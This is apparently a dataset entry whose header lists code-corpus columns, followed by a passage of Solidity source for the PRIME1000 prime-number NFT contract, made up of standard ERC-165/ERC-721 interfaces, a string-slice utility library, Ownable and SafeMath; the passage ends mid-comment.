file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
/**
*Submitted for verification at Etherscan.io on 2021-03-03
*/
/*
PRIME1000.io
PRIME ERC-721 TOKEN
$PRIME
Each $PRIME token represents one of the first 1000 prime numbers.
$PRIME tokens are issued from the largest prime number in the set (7919) - ID 1 and end
with prime number (2) - ID 1000.
The price of each purchased $PRIME token increase from 0.05 ETH for the first 200 $PRIME
tokens.
Each Prime Token has a unique cryptographically generated badge image
Website: https://PRIME1000.io
Telegram: https://t.me/primenft
*/
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
// /**
// * TODO: Add comment
// */
// function burn(uint256 burnQuantity) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
library StringUtils {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns the length of a null-terminated bytes32 string.
* @param self The value to find the length of.
* @return The length of the string, from 0 to 32.
*/
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & bytes32(uint256(0xffffffffffffffffffffffffffffffff)) == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & bytes32(uint256(0xffffffffffffffff)) == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & bytes32(uint256(0xffffffff)) == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & bytes32(uint256(0xffff)) == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & bytes32(uint256(0xff)) == 0) {
ret += 1;
}
return 32 - ret;
}
/*
* @dev Returns a slice containing the entire bytes32, interpreted as a
* null-terminated utf-8 string.
* @param self The bytes32 value to convert to a slice.
* @return A new slice containing the value of the input argument up to the
* first null.
*/
function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
/*
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice memory self) internal pure returns (slice memory) {
return slice(self._len, self._ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns the length in runes of the slice. Note that this operation
* takes time proportional to the length of the slice; avoid using it
* in loops, and call `slice.empty()` if you only need to know whether
* the slice is empty or not.
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function len(slice memory self) internal pure returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two slices are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first slice to compare.
* @param other The second slice to compare.
* @return The result of the comparison.
*/
function compare(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint256 mask = uint256(-1); // 0xffff...
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Returns true if the two slices contain the same text.
* @param self The first slice to compare.
* @param self The second slice to compare.
* @return True if the slices are equal, false otherwise.
*/
function equals(slice memory self, slice memory other) internal pure returns (bool) {
return compare(self, other) == 0;
}
/*
* @dev Extracts the first rune in the slice into `rune`, advancing the
* slice to point to the next rune and returning `self`.
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
/*
* @dev Returns the first rune in the slice, advancing the slice to point
* to the next rune.
* @param self The slice to operate on.
* @return A slice containing only the first rune from `self`.
*/
function nextRune(slice memory self) internal pure returns (slice memory ret) {
nextRune(self, ret);
}
/*
* @dev Returns the number of the first codepoint in the slice.
* @param self The slice to operate on.
* @return The number of the first codepoint in the slice.
*/
function ord(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Returns the keccak-256 hash of the slice.
* @param self The slice to hash.
* @return The hash of the slice.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Returns true if `self` starts with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
/*
* @dev Returns true if the slice ends with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` ends with `needle`, `needle` is removed from the
* end of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function until(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
uint selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function find(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
/*
* @dev Modifies `self` to contain the part of the string from the start of
* `self` to the end of the first occurrence of `needle`. If `needle`
* is not found, `self` is set to the empty slice.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and `token` to everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and returning everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` after the last occurrence of `delim`.
*/
function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) {
rsplit(self, needle, token);
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
/*
* @dev Returns True if `self` contains `needle`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return True if `needle` is found in `self`, false otherwise.
*/
function contains(slice memory self, slice memory needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
/*
* @dev Returns a newly allocated string containing the concatenation of
* `self` and `other`.
* @param self The first slice to concatenate.
* @param other The second slice to concatenate.
* @return The concatenation of the two strings.
*/
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
/*
* @dev Joins an array of slices, using `self` as a delimiter, returning a
* newly allocated string.
* @param self The delimiter to use.
* @param parts A list of slices to join.
* @return A newly allocated string containing all the slices in `parts`,
* joined with `self`.
*/
function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
length += parts[i]._len;
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(uint i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
// function tokenURI(uint256 _tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
